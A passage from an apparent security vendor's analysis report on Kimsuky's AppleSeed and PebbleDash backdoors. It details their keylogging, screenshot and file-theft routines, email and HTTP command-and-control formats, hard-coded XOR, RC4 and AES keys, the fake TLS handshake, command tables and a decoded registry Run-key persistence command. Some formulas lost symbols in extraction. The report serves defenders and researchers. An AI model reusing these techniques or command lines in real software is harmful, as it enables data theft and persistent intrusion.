Encrypted stolen information sent to CC server Figure 32.
RSA (1024 bit) public key used to encrypt attachment The compressed and encrypted data is attached to the POST request and sent as the following URL: /?mbp1[PcID]p2a 3.2.
Analysis of Info-stealing Feature While the sample discussed earlier is a simple malware without the info-stealing feature, the same cannot be said for other AppleSeed samples.
Those with functional info-stealing feature can receive additional commands from the CC server and perform them.
The following table provides an overview on the info- stealing feature and routines for performing additional commands.
AppleSeed samples with functional info-stealing feature use more URLs than those mentioned above.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 31 The following shows the entire URLs used with an explanation for each case.
Mode URL Feature ping /?map1[PcID]p2[PcInfo]- [MalwareVersion] Maintaining connection with the CC server Sending command results /?mbp1[PcID]p2a Sending CMD command results /?mbp1[PcID]p2b Stealing designated file /?mbp1[PcID]p2b Stealing document files from a certain path /?mbp1[PcID]p2b Stealing file list information within the USB drive /?mbp1[PcID]p2c Stealing captured screenshots /?mbp1[PcID]p2d Stealing keylogging data Downloading commands /?mcp1[PcID] Downloading commands from the CC server Download complete /?mdp1[PcID] Notifying completion of command download Table 10.
List of URLs used 3.2.1.
Information Theft Starting from the installation, the sample proves that its different by creating the flags folder and flag files before copying and running the file in the installation path.
Each flag file contains a Unicode string flag.
At the info-stealing routine, the sample checks each flag and steals information from each existing flag.
The stolen data is then sent to the CC server after being encrypted and compressed with zip.
Flag File Meaning FolderMonitor Stealing document files KeyboardMonitor Keylogging ScreenMonitor Taking screenshots UsbMonitor Stealing file list information of USB Table 11.
List of flag files Figure 33.
Flag files within flags folder Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 32 a. Keylogging This is enabled if the KeyboardMonitor flag file exists within the flags folder.
The keylogged data is saved as the log.text file within the cache folder in the installation path.
It is compressed and encrypted along with other stolen data and sent to the CC server.
Figure 34.
log.txt file that stores keylogging data b.
Taking Screenshots This is enabled if the ScreenMonitor flag file exists within the flags folder.
The malware takes a screenshot of the current screen and saves it in the ALLUSERSPROFILE\temp\ path as a jpg file.
The file is sent to the CC server after being compressed and encrypted.
Figure 35.
Screenshot saved as jpg file c. Stealing Document Files This is enabled if the FolderMonitor flag file exists within the flags folder.
The malware collects document files (e.g.
.txt, .hwp, .pdf, .doc, .xls, and .ppt) that exist within Desktop, Downloads, Documents, and LOCALAPPDATA\Microsoft\Windows\INetCache\IE folders, then sends them to the CC server after compressing and encrypting them.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 33 Figure 36.
Routine for checking extensions of files that will be stolen d. Stealing File List of USB This is enabled if the UsbMonitor flag file exists within the flags folder.
The malware finds a USB drive in the current system and obtains the list of files within the USB via the following dir command.
The obtained text format data is also compressed and encrypted before being sent to the CC server.
cmd /s dir [drive name]:\ /s Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 34 Figure 37.
List of files within USB drive 3.2.2.
Additional Commands Samples with the info-stealing feature enabled have 3 additional commands that can be performed after receiving them from the CC server.
The commands are as follows: Command Number Command Name Description d Upload Setting target files to be stolen e EditFlag Enable or disable flag f FileDownload Saving files received in a certain path Table 12.
CC commands 2 a.
Setting Target Files to be Stolen Besides 4 monitor threads, AppleSeed has an additional thread that was not mentioned earlier.
It periodically reads the list.fdb file that exists in the installation path, and if the file contains the pathname of a certain file, it compresses and encrypts the file in the path to send it to the CC server.
The d command writes the received pathname into the list.fdb file, and if the attacker wishes to steal a certain file, they can send the file path through the d command to upload it to their server.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 35 The URL used to upload files from the thread is the same as the one that is used to steal document files and USB drive file list as shown below.
/?mbp1[PcID]p2b b.
Setting Flags When the sample is initially installed, it enables 4 flags: FolderMonitor, KeyboardMonitor, ScreenMonitor, and UsbMonitor.
The e command enables or disables each flag depending on the received data.
When enabling, a file with the same name is created for each flag, and when disabling, the files are deleted.
c. Downloading Files A command for downloading files to create the received data in a certain path.
3.3.
CC Communication Using Emails In terms of overall features, AppleSeed samples that use email for CC communications are not much different from the sample discussed in the 3.1 Analysis of Default Features in this report.
However, one difference is that the samples use email protocols instead of HTTP during the CC communications process.
As such, the CC communications via emails will be analyzed in detail.
Like the sample with default features from the 3.1.4.
Thread part, AppleSeed utilizing email creates 2 main threads.
They can be categorized as Ping thread and Command thread respectively, using email protocol to communicate with the CC server.
The email address and password of the attacker are encoded and saved within the file.
Email Address Password k1-tomedaum[.
]net cfzF  -  (Certain strings blurred as ) Table 13.
Information of attackers email The attacker used the curl open source2 to communicate with the CC server using an email.
The 2 main threads created by the Email AppleSeed sample can be divided into a thread that uses the IMAP protocol and a thread that uses the SMTP protocol based on their roles.
The Ping thread defined in the 3.1.
Analysis of Default Features part uses the SMTP protocol as its role is to send the information of the current system to the attackers email.
The Command thread uses the IMAP protocol since it receives additional malicious data from the attackers email.
Protocol Server Related Thread smtps://smtp.daum[.
]net:465 Ping Thread imaps://imap.daum[.
]net:993 Command Thread Table 14.
Protocol usage type for each thread 2 https://github.com/curl/curl https://github.com/curl/curl Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 36 3.3.1.
Ping Thread (SMTP) The sendHttpPing thread operates every 5 minutes.
While it operates, it periodically sends the basic information of the infected system to the attackers email.
The name of the email sent to the attacker takes the form of history yyyy-mm-dd_hh-mm-ss-sss.
Note that the results shown below are based on a test account and not the actual address used by the attacker.
Figure 38.
Title of email sent from Ping thread Figure 39.
Content of email sent from Ping thread (test account used) Item Format Time [yyyy-mm-dd_hh-mm-ss-sss] Volume Serial Number [VolumeSerialNumber] PcInfo Win[MajorVersion].[MinorVersion].
[Build][Architecture] Malware Version [D_Regsvr32]\nnv[2.0]\nn[7] Table 15.
Format used for sending information about the infected system - Email 3.3.2.
Command Thread (IMAP) This thread is executed every 30 seconds.
It checks if there is an email mailbox named cmd in the attackers email account and downloads additional malware through the emails attachments.
As the attackers email account cannot currently be accessed, it is not certain what types of malicious files exist.
5.
Post Infection section of this report will discuss additionally installed malware strains identified by AhnLab ASD infrastructure.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 37 Figure 40.
cmd mailbox used for distributing additional malware (cmd mailbox created for test purpose) The attacker uses the IMAP feature of the curl open source to download additional malware from the email server.
After going through the IMAP reset process, the thread sends the select cmd command to check if the mailbox named cmd exists.
Figure 41.
Transmission code for IMAP command that checks cmd mailbox If the mailbox named cmd exists, the thread saves the attached file in the ALLUSERSPROFILE\temp path with the name [random 4 characters].tmp after going through the parsing process.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 38 Figure 42.
Receiving email with attached file After saving the attached file in the ALLUSERSPROFILE\temp path, the sample uses the STORE 1 Flags \Deleted command to delete the email with the attached file from the mailbox.
The process for unpacking and decrypting the file is the same as the content of the dropAndRunCmd thread explained in 3.1 Analysis of Default Features.
This means that the sample can perform 4 commands: CMD, DLL, MemDLL, and UpdateDLL.
4.
Analysis of PebbleDash PebbleDash, first found in 2016, is a backdoor malware that is known to be used by Lazarus group.
PebbleDash is similar to malware strains of NukeSped backdoor used by Lazarus.
However, since it was dubbed as PebbleDash in CISA (U.S. Cybersecurity  Infrastructure Security Agency) analysis report, this report will also refer it as PebbleDash.3 Most PebbleDash types need a certain argument upon being executed, but there is also a DLL form that is executed after being injected by other malware.
Upon being executed for the first time, the malware decrypts the encrypted argument strings used for verification and the list of API functions that it will use.
As for its own encrypted settings data, it uses another algorithm to decrypt it.
In addition, it disguises itself as a TLS protocol to communicate with the CC server and bypasses network detection by using multiple normal URLs and random data.
It only supports basic features, such as stealing basic information and performing commands, and is not equipped with features that backdoors possess (e.g.
taking screenshots, keylogging).
However, it has a unique feature of re-enabling itself from the disabled state to perform malicious behavior at the occurrence of events such as the system being added with a USB drive or another user logging in through RDP.
3 https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133c https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133c Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 39 Distributed PebbleDash samples have some common characteristics: they require arguments to be executed normally, have encrypted settings data, and have commands they support in common.
Note that there are differences between them, and one key difference is that the recent samples use HTTP protocol (WinHTTP) unlike previous ones that used Raw Socket to communicate with CC.
Also, while initial samples did not have features for maintaining persistence, current ones are added with the behavior for registering the registry Run key, which allows them to be operated after reboot.
PebbleDash samples nowadays are created through the PIF dropper, but in the system already infected with malware such as AppleSeed or PebbleDash, there are also cases of the malware having being downloaded from a certain URL.
Malware strains recently used by the Kimsuky group are all DLLs designed to execute via regsvr32.exe.
In the latest version of PebbleDash, a command used to execute additional payloads through regsvr32.exe was added.
It is noteworthy that the different CC domains used by the PebbleDash sample (created by PIF dropper) and the Kimsuky groups AppleSeed sample were confirmed to share the same IP address.
CC IP Sample CC Domain 45.124.66[.
]28 PebbleDash www.onedriver.kro[.
]kr news.scienceon.r-e[.
]kr AppleSeed you.ilove.n-e[.
]kr PIF get.seino.p-e[.
]kr 216.189.149[.
]78 PebbleDash movie.youtoboo.kro[.
]kr AppleSeed ppahjcz.tigerwood[.
]tech ping.requests.p-e[.
]kr interface.avg.n-e[.
]kr driver.spooler.p-e[.
]kr Table 16.
Comparing CC information of PebbleDash and AppleSeed Below is the analysis information of initial and latest versions of PebbleDash and the comparison between the two samples.
4.1.
Analysis of Initial PebbleDash 4.1.1.
Initial Routine As initial versions of PebbleDash check for arguments and terminate themselves if there is no match, they use the anti-sandbox technique that does not perform any behaviors if they are terminated.
The following is the argument string that the current analysis target sample compares to.
-
Argument String Needed for Execution: 48Ur31h45dGy a.
Routine for Decoding Argument and Settings Data Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 40 The string shown above exists in the binary in the Xor encoded form.
PebbleDash uses two types of decoding routines: A routine of decoding arguments and settings data, and a routine of decoding the API list.
Both are done in the 0x1 byte Xor method, but the algorithm and key data are different.
This report will first discuss the routine used to decode settings data that includes the argument value.
The followings are the 0x40 byte-sized Xor key and decoding routine.
-
Xor Key used to Decode Settings: 5E 85 41 FD 0C 37 57 71 D5 51 5D E3 B5 55 62 20 C1 30 96 D3 77 4C 23 13 84 8B 63 5C 48 32 2C 5B 94 8F 3A 26 79 E2 6B 94 45 D1 6F 51 24 8F 86 72 C8 D3 8D C1 C0 D3 88 56 84 B3 91 E2 B2 24 64 24 - Xor Decoding Algorithm: EncDatan xor XorKeynSizeOfEncData-80x40 xor 0x59 Figure 43.
Xor decoding routine used to restore arguments and settings data The data is decoded using simple encoded data, 0x59, and the Xor key.
The Xor key is 0x40 byte, and the 0x01 byte key value that is used is the -0x08 offset of the encoded data size.
-
Example Encoded String: B8 30 51 C8 92 4C 08 5D A9 01 FB BF 4A 52 03 4A Decoded String: 34 38 55 72 7E 40 33 24 31 68 34 35 64 47 79 00 ( 48Ur31h45dGy ) b.
Routine for Decrypting API Function List Besides settings data, PebbleDash has an encrypted list of API functions that it uses after the decryption and API Resolving process.
The list of API functions is encrypted in the data section.
Decrypting the entire 0x0829 size allows you to obtain the list for the entire API.
The list also uses the 0x01 byte Xor method, based on the 0x10-sized Xor key data shown below.
-
Xor Key Data Used for API List Decryption: 81 16 AA 52 36 F2 03 3F 6D E2 48 41 49 6A 7E 67 The Xor method uses the 0x01 offset, meaning that 0x16 to 0x01 bytes based on the key shown above are used as an Xor key.
-
Xor Decryption Algorithm: EncDatan xor XorKeyn1 When 1 key is used, the new 0x01 byte Xor key is created based on the 0x10 byte-sized Xor key data using the following algorithm.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 41 - Key Creation Algorithm: ( key0x00  key0x09 ) xor key0x0d xor key0x0f  NewXorKey For instance, the Xor key that is first created becomes 0x6E by adding each offsets 0x01 byte value and going through the Xor operation.
Using such a method, the algorithm creates a new 0x01 byte key each time.
-
Example: (0x81  0xE2 ) xor 0x6A xor 0x67  0x6E - New Xor Key Data: 16 AA 52 36 F2 03 3F 6D E2 48 41 49 6A 7E 67 6E Figure 44.
Xor decryption routine used for restoring API list Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 42 Figure 45.
List of API names that are decrypted 4.1.2.
Recovering Settings Data Settings data is encoded with 0x01 byte Xor in the same method for argument strings discussed above.
PebbleDash can have 5 CC server URLs and randomly choose 1 among them to communicate.
The current analysis target sample only has 1 URL.
The settings data is shown below.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 43 Figure 46.
Decrypted settings data Table 17 shows the structure of the settings data.
Up to 5 CC URL data from 0x00 to 0x10 byte sizes can be included.
Offset Size Meaning 0x00 0x02 sockaddr_in.sin_family 0x02 0x02 sockaddr_in.sin_port 0x04 0x04 sockaddr_in.sin_addr 0x08 0x08 NULL ... ... ... 0x50 0x08 Next CC communications time 0x58 0x04 Default Sleep count 0x5C 0x04 Random value 0x60 0x04 Drive notification flag 0x64 0x04 Session notification flag Table 17.
Settings data The PebbleDash sample discussed here uses Raw Socket to communicate with the CC server.
Upon examining the decrypted settings data, the CC URL is shown as 41.92.208[.
]195:443.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 44 Unlike other backdoors, PebbleDash does not have multiple communications with the CC server during a short period, waiting at least 60 seconds before performing a command.
The settings data for the 0x58 offset means the setting for the Sleep() time for waiting.
As the sample above has a value of 0x0A (10), it will wait for 600 seconds.
The default Sleep time can be modified by the CC command.
The settings data for the 0x50 offset indicates the next time the communication starts with the CC server.
It currently has NULL, but it can be modified by receiving commands.
This means that the malware can receive commands from the CC server to communicate several hours later.
The settings data for the 0x5C offset is the 0x4 byte random data that was found earlier.
As it is used to communicate with the CC server, it is presumably used as a unique identifier.
Since PebbleDash waits for a long time to communicate with the CC server by default, it is difficult for the malware to respond to changes in the infected system in real-time.
Given the fact, the developer has added a feature which ends the waiting routine and enables communication with the CC server when a new drive or session is created to prevent the malware from waiting for an indefinite period of time.
The feature is enabled when the drive notification flag and session notification flag mentioned earlier are set.
Figure 47.
Routine for drive and session notifications The routine first uses the GetLogicalDrives() API to find the number of drives that are currently available and periodically checks the change in quantity.
When a new drive is added, it is most likely that a USB memory has been inserted.
The routine also uses the WTSEnumerateSessionsW() API to monitor the number of currently enabled sessions.
If another user logs on to the infected system or accesses remotely through RDP, the number of sessions will increase, enabling PebbleDash.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 45 PebbleDash also has a command that sends various information of the infected system to the CC server, and this will be mentioned later in this report.
Among data that is sent, there is the status data.
As seen below, it gains a different value when the malware is performing commands or when a drive/session is added.
Such status value will be meaningful only when it is sent to the CC server in real time.
So while we cannot precisely know how the CC server is configured, it appears that the command is used for basic communications instead of the attacker manually sending it.
Status Data Meaning 0x00 Initial Value 0x01 Performing waiting routine 0x02 Performing command routine (in units of 5) 0x03 When a drive is added (usually when USB is inserted) 0x04 When a session is added (usually logging in through local or RDP) Table 18.
Types of status data 4.1.3.
CC Communications PebbleDash communicates with the CC server by disguising itself as TLS communications.
For instance, the following is the packet initially sent to the CC server.
Figure 48.
Initial packet sent to CC server The packet is the Client Hello request of the TLS Handshake process and has the following structure.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 46 Figure 49.
TLS Client Hello Besides the default items, the rest is configured dynamically for each item.
For instance, items, such as type and TLS version, are the same, but values, such as server_name and Cipher Suites that are sets of encryption algorithm, randomly choose one hard-coded value in the binary as shown in Figure 50.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 47 Figure 50.
Randomly selected data For URL (server_name), one normal URL is also randomly selected among the following list.
Figure 51.
Randomly selected dummy URL Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 48 www.wordpress.com www.wikipedia.org www.yahoo.com www.uc.com www.paypal.com www.linkedin.com www.microsoft.com www.avira.com www.dell.com www.bing.com www.apple.com www.avast.com www.amazon.com www.baidu.com The following table provides details on the packet mentioned above that is sent to the CC server.
Offset Size Description Data Hex 0x00 0x01 Content Type Handshake (22) [ 16 ] 0x01 0x02 Version TLS 1.0 [ 03 01 ] 0x03 0x02 Length 106 [ 00 6A ] 0x05 0x02 Handshake Type Client Hello (1) [ 01 00 ] 0x07 0x02 Length 102 [ 00 66 ] 0x09 0x02 Version TLS 1.0 [ 03 01 ] 0x0B 0x20 Random Random data [61 93 0B 3D 05 22 45 DB C9 DF 2B 14 9E 1E 76 57 AB B4 BC B1 5A B7 C4 9E C3 2B 99 CE 68 DE DD 28 ] 0x2B 0x01 Session ID Length 0 [ 00 ] 0x2C 0x01 Cipher Suites Length 24 [ 00 18 ] 0x2E 0x18 Cipher Suites 12 suites [00 2F 00 35 00 05 00 0A C0 13 C0 14 C0 09 C0 0A 00 32 00 38 00 13 00 04 ] 0x46 0x01 Compression Methods Length 1 [ 01 ] 0x47 0x01 Compression Methods NULL [00] 0x48 0x02 Extensions Length 37 [ 00 25 ] 0x4A 0x13 Extension  server_name [ 00 00 00 0F 00 0D 00 00 0A 77 77 77 2E 75 63 2E 63 6F 6D ] 0x5D 0x0C Extension elliptic_curves [00 0A 00 08 00 06 00 17 00 18 00 19 ] 0x69 0x06 Extension ec_point_formats [ 00 0B 00 02 01 00 ] Table 19.
Packet example Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 49 When PebbleDash sends data to the stolen CC server, it encrypts the data using the RC4 algorithm.
The process will be discussed in the Performing Commands part.
The case is the same when the malware receives commands from the CC server, for which the identical key is used.
-
RC4 Key: 79 E1 0A 5D 87 7D 9F F7 5D 12 2E 11 65 AC E3 25 Figure 52.
Hard-coded RC4 key 4.1.4.
Performing Commands The commands sent from the CC server can largely be divided into 2 stages.
The first stage performs default commands as shown below.
Additional commands are sent only when the command is 0x04.
Command Feature 0x03 Sleep (60 seconds) 0x04 Additional command 0x15 Setting Sleep count 0x19 Restoring default Sleep count 0x26 Auto-delete Table 20.
Command Type 1 The 5 commands are all simple, but as mentioned earlier, the auto-delete routine has one noticeable characteristic.
To perform auto-delete, a batch file needs to be created.
In this case, the name of the batch file created in the TEMP path is qsm.bat.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 50 Figure 53.
qsm.bat file used for auto-delete If the first Type 1 command is 0x04, the malware can download Type 2, the actual commands.
The downloaded commands are also encoded with RC4, and the first decoded byte is the command byte for the table shown below.
Command Feature 0x09 Stealing drive information 0x0A Terminating process 0x0B Downloading files 0x0C Deleting files 0x0D Deleting files 2 0x0E Stealing system info (Windows version, adapter, status data, etc.)
0x0F Stealing information of currently running processes 0x10 Performing command line commands and stealing results 0x11 Performing command line commands and stealing results (Hidden) 0x12 Changing MAC time 0x13 Uploading files 0x14 Setting the next CC communications time 0x15 Setting Sleep count 0x16 Setting current task directory 0x18 Stealing file information 0x19 Maintaining connection 0x1A Stealing file and directory information 0x1D Manipulating files 0x1E Changing file property 0x1F Running processes 0x23 Changing settings data 0x24 Sending settings data 0x25 Scanning certain IP Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 51 0x26 Auto-delete 0x27 Uploading and deleting files Table 21.
Command Type 2 As most of the commands the malware support are also normally supported by other backdoors, this report will only focus on those with noticeable traits.
The commands 0x0C and 0x0D both delete files in the path that they receive.
Yet, whereas 0x0C simply deletes files using the DeleteFileW() API, the 0x0D command deletes files after overwriting them with dummy data.
It appears that the latter is to obstruct file recovery in the future.
0x10 and 0x11 perform command line commands and send the result to the CC server.
The only difference between the two is whether the CREATE_NO_WINDOW flag is used or not (status for outputting the console window).
Each command uses the following command lines to output the result in the TEMP path and sends it to the CC server.
cmd.exe /c [Command] [Temp file] 21 cmd.exe /c [Command] 2[Temp file] The 0x12 command changes the MAC (Modified Time, Accessed Time, and Created Time) time of the file.
It finds the MAC time of the file in the path that it received as the first argument and changes it to the MAC time of the file that it received as the second argument.
The 0x1E command can change file properties, and the 0x1D command can also change the header TimeStamp besides file properties if the target file is PE.
4.2.
Analysis of Latest PebbleDash 4.2.1.
Initial Routine Encoded inside the recent PebbleDash samples are strings and a list of API functions that will be used, but their algorithms are different from the ones used in the past.
The current analysis target sample has the following string consisting of numbers and alphabetical characters in random order.
-
Data String (DataStr): zcgXlSWkj314CwaYLvyh0U_odZH8OReKiNIr-JM2G7QAxpnmEVbqP5TuB9Ds6fFt The following table shows the offset for each uppercase and lowercase alphabets, number, and special characters - and _.
Character Offset Character Offset Character Offset Character Offset 0 0x14 G 0x28 W 0x06 m 0x2F 1 0x0A H 0x1A X 0x03 n 0x2e 2 0x27 I 0x22 Y 0x0F o 0x17 3 0x09 J 0x25 Z 0x19 p 0x2D 4 0x0B K 0x1F a 0x0E q 0x33 5 0x35 L 0x10 b 0x32 r 0x23 6 0x3C M 0x26 c 0x01 s 0x3B Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 52 7 0x29 N 0x21 d 0x18 t 0x3F 8 0x1B O 0x1C e 0x1E u 0x37 9 0x39 P 0x34 f 0x3D v 0x11 A 0x2B Q 0x2A g 0x02 w 0x0D B 0x38 R 0x1D h 0x13 x 0x2C C 0x0C S 0x05 i 0x20 y 0x12 D 0x3A T 0x36 j 0x08 z 0x00 E 0x30 U 0x15 k 0x07 - 0x24 F 0x3E V 0x31 l 0x04 _ 0x16 Table 22.
Offset of each character The following example shows how the argument string needed for execution (MskulCxGMCgpGdM) is decrypted.
The string is 15 characters, but the encrypted string is 19 characters.
-
Encrypted String (EncStr): P9HpHPN-BSWUHSOHOvz - Decrypted String: MskulCxGMCgpGdM The offsets for the first 4 characters of the 19-character string (P9Hp) is shown below.
Each 0x4 byte below is circulated in order and used as a key.
-
Offsets for First 4 Strings (EncKey): 0x34, 0x39, 0x1A, 0x2D The malware starts operation for the rest of the characters (HPN-BSWUHSOHOvz).
You can see that the first character is H and the offset 0x1A.
As for 0x1A, subtracting the first key 0x34 and performing the and operation with 0x3F results in 0x26.
Finding the 0x26 offset string from the string (zcgXlSWkj314CwaYLvyh0U_odZH8OReKiNIr-JM2G7QAxpnmEVbqP5TuB9Ds6fFt) yields M. - Decryption Algorithm: offet( DataStr, ( offet( EncStr, n ) - offset( EncKey, n3 ) ) and 0x3F ) As the operation only processes characters included in the string, those such as .
are not encrypted.
The following example shows that the string / was not encrypted because it was not included in the string.
-
Encrypted String: rQvVWjh Vg7 TVyG\JGnIuK0c\zv-wGxD2L\E1t3DuC\-NP0cdLgcwCvDd\0Hd /s \C\ x /E kcZ9mQ /s J /2 - Decrypted String: reg add hkcu\software\microsoft\windows\currentversion\run /d \s\ s /t REG_SZ /v s /f Like the initial version, the latest PebbleDash sample compares the string MskulCxGMCgpGdM to the argument string that it received upon execution.
When the strings do not match, it terminates itself.
When the malware is executed by receiving the argument in the actual environment, it first creates the \system32\ folder in the same directory and copies itself with the name smss.exe.
Note that recently confirmed PebbleDash strains all copies themselves in that directory.
Unlike the initial samples that did nothing for their sustenance, the new samples register a string such as the encrypted string shown above to the Run key using the reg command.
They then run recursion by sending the argument YRfDFtxLjoBuYXA along with the path of the previous file as shown below.
When PebbleDash samples receive the argument and the third argument, they delete files in the path received through the third argument.
The files are not directly deleted but overwritten with Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 53 NULL data like the command in the initial PebbleDash version.
C:\ProgramData\system32\smss.exe YRfDFtxLjoBuYXA C:\ProgramData\PebbleDash.exe 4.2.2.
Recovering Settings Data Recently confirmed PebbleDash samples encrypt settings data like previous versions.
For the latest form, the simple 0x10 byte Xor method is used.
While it is 0x10 byte, the key value is still 0x9F.
- Xor Key: 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F Figure 54.
Xor decryption routine Figure 55.
Settings data being decrypted Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 54 The following table shows the settings data used in the latest PebbleDash sample.
They are mostly similar to the samples discussed earlier in this report.
There are some differences the volume serial number is used along with random data when the sample communicates with the CC server, and unlike the initial version, which used Raw Socket to communicate with the CC server, the latest version uses the HTTP protocol.
Offset Size Meaning 0x0000 0x0008 Next CC communications time 0x0008 0x0004 Default Sleep time (in minutes) 0x000C 0x0004 Volume serial number 0x0010 0x0004 Drive notification flag 0x0014 0x0004 Session notification flag 0x0018 0x0208 CC Server URL 1 0x0220 0x0208 CC Server URL 2 0x0428 0x0208 CC Server URL 3 0x0630 0x0208 CC Server URL 4 0x0838 0x0208 CC Server URL 5 0x0A40 0x0800 Shell (cmd.exe) 0x1240 0x0800 Temp Directory Table 23.
Settings data The part that sets the next CC communications time, default Sleep count, and notification flags for drives and sessions are mostly the same.
The status data also have identical values.
Status Data Meaning 0x00 Initial Value 0x01 Performing waiting routine 0x02 Performing command routine (in units of 5) 0x03 When a drive is added (usually when USB is inserted) 0x04 When a session is added (usually logging in through local or RDP) Table 24.
Types of status data 4.2.3.
CC Communications The latest version of PebbleDash uses the HTTP protocol to communicate with the CC server and as such, uses queries to send and receive data.
The following table shows the queries used to communicate with the CC server.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 55 Query Type Meaning sep Types of data that is sent uid Volume serial number sid Random data data Data to be sent Table 25.
Queries used for CC communication For instance, when the malware tries to secure the initial connection, it makes a POST request with the following query: [CC URL]?sepzDyTRPortBIUyueuid7057e9dcsid01d1f346 sep refers to the type of data that will be sent.
The current analysis target sample has 6 queries defined but practically, 3 are used.
Figure 56.
Defined Types Query Number Query String Use 1 zDyTRPortBIUyue Securing connection with the CC server 2 QFbgweAUBDjojNR Sending command perform results 3 BJIcQHTzhmuafuL Downloading commands 4 trceNSkCJRwZQQL Not used 5 qWTZUgfjdigTpUW Not used 6 lZpReYjnpgYClLi Not used Table 26.
Types of data sent Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 56 When the malware successfully connects to the CC server, it downloads commands using the following query.
uid is not included as it is only used to establish the initial connection, and the 3rd query and sid are used instead.
[
CC URL]?sepBJIcQHTzhmuafuLsid01d1f346 The downloaded data is likely a string encoded with Base64.
The data received goes through the Base64 decoding process.
You can check the actual commands if you decrypt the data using the AES128 algorithm.
-
AES128 Key: erNpiMneSIYnRKoE Figure 57.
Base64 Decoding and AES128 Decryption Routine When receiving commands as well as sending results PebbleDash goes through the AES128 encryption and Base64 encoding process.
The AES128 key is the same for both cases.
It sends a routine that sends the success and failure status, and the one that sends the result for performing commands.
They are all sent as the data item shown below.
[
CC URL]?sepQFbgweAUBDjojNRsid01d1f346dataLainSGh6TfPX9wC8LkBHKw The success and failure status are 0x02 and 0x01 respectively.
Upon success, the data is created by going via the following process.
-
Original Data: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - AES128 Encryption: 2D A8 A7 48 68 7A 4D F3 D7 F7 00 BC 2E 40 47 2B - Base64 Encryption: LainSGh6TfPX9wC8LkBHKw Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 57 4.2.4.
Performing Commands Most of the commands supported by the latest version of PebbleDash are not much different from the previous samples.
Their features are similar as well.
For instance, upon self-deletion, it creates the qsm.bat batch file and executes it to carry out the process.
Furthermore, the command lines used to send results after performing commands are almost the same.
Command Feature 0x03 Setting current task directory 0x04 Changing MAC time 0x05 Terminating process 0x06 Stealing information of currently running processes 0x07 Deleting files 0x08 Deleting files 2 0x09 Running processes 0x0A Execution using file download and RegSvr32 0x0B Execution in file download and memory 0x0C Uploading files 0x0D Downloading files 0x0E Setting the next CC communications time (in minutes) 0x0F Setting the next CC communications time (in Hex) 0x10 Auto-delete 0x11 Stealing system info (Windows version, adapter, status data, etc.)
0x12 Changing settings data 0x13 Sending settings data 0x14 Performing command line commands and stealing results (Hidden) 0x15 Performing command line commands and stealing results 0x16 Maintaining connection Table 27.
Command list Some of the commands in the list above deserve a special discussion.
First of all, it should be noted that most types of malware recently created by Kimsuky group are in DLL forms executed through regsvr32.exe.
The purpose of the 0x0A command is to support such malware strains, having an additional command to execute the malware with regsvr32.exe /s after downloading payloads.
In the case of the 0x0B command, it supports a command that can execute the malware in memory instead of downloading in file forms.
This type of payload supports DLL as well as an EXE form PE.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 58 5.
Post Infection After the initial compromise, the Kimsuky group installs a backdoor such as AppleSeed or PebbleDash on the target system.
In most cases, they continue to install additional malware strains.
While these malware strains can install additional files, steal information, and perform command line commands sent from the attacker, they lack features to remotely control the infected system like other backdoor and RAT malware.
This is why the attackers install Meterpreter backdoor of Metasploit or VNC malware to remotely control the system through additional payloads.
VNC, also known as Virtual Network Computing, is a screen sharing system that remotely controls other computers.
Similar to the commonly-used RDP, it is used to remotely access and control other systems.
The technology allows attackers to control the targeted system in a graphic environment.
This part will discuss malware strains that are additionally installed by the Kimsuky group after the system is infected with AppleSeed or PebbleDash.
5.1.
Remote Control 5.1.1.
Meterpreter Metasploit is a penetration testing framework.
It is a tool that can be used to inspect security vulnerabilities for networks and systems of companies and organizations, providing various features for each penetration test stage.
Like Cobalt Strike, it provides features necessary for each stage, from creating various types of payloads for the initial infection and stealing account credentials to dominating the system via lateral movement.
Figure 58.
Metasploit GitHub Cobalt Strike provides Beacon which is the actual malware that operates as a backdoor in the infected PC.
Depending on the method of installing a Beacon, it can be classified as Staged or Stageless.
When Cobalt Strike is built with the Staged method, a powershell or small shellcode that has a downloader feature is created.
The attacker can distribute such small-sized stager through various means.
When the stager is executed in the infected PC, it downloads Beacon that is the main malware from the CC server on the memory and executes it.
The Stageless method creates a binary included with Beacon instead.
As such, the binary can directly communicate with the CC server without having to download Beacon.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 59 Metasploit also provides a backdoor that performs actual malicious behaviors like Beacon from Cobalt Strike, called Meterpreter.
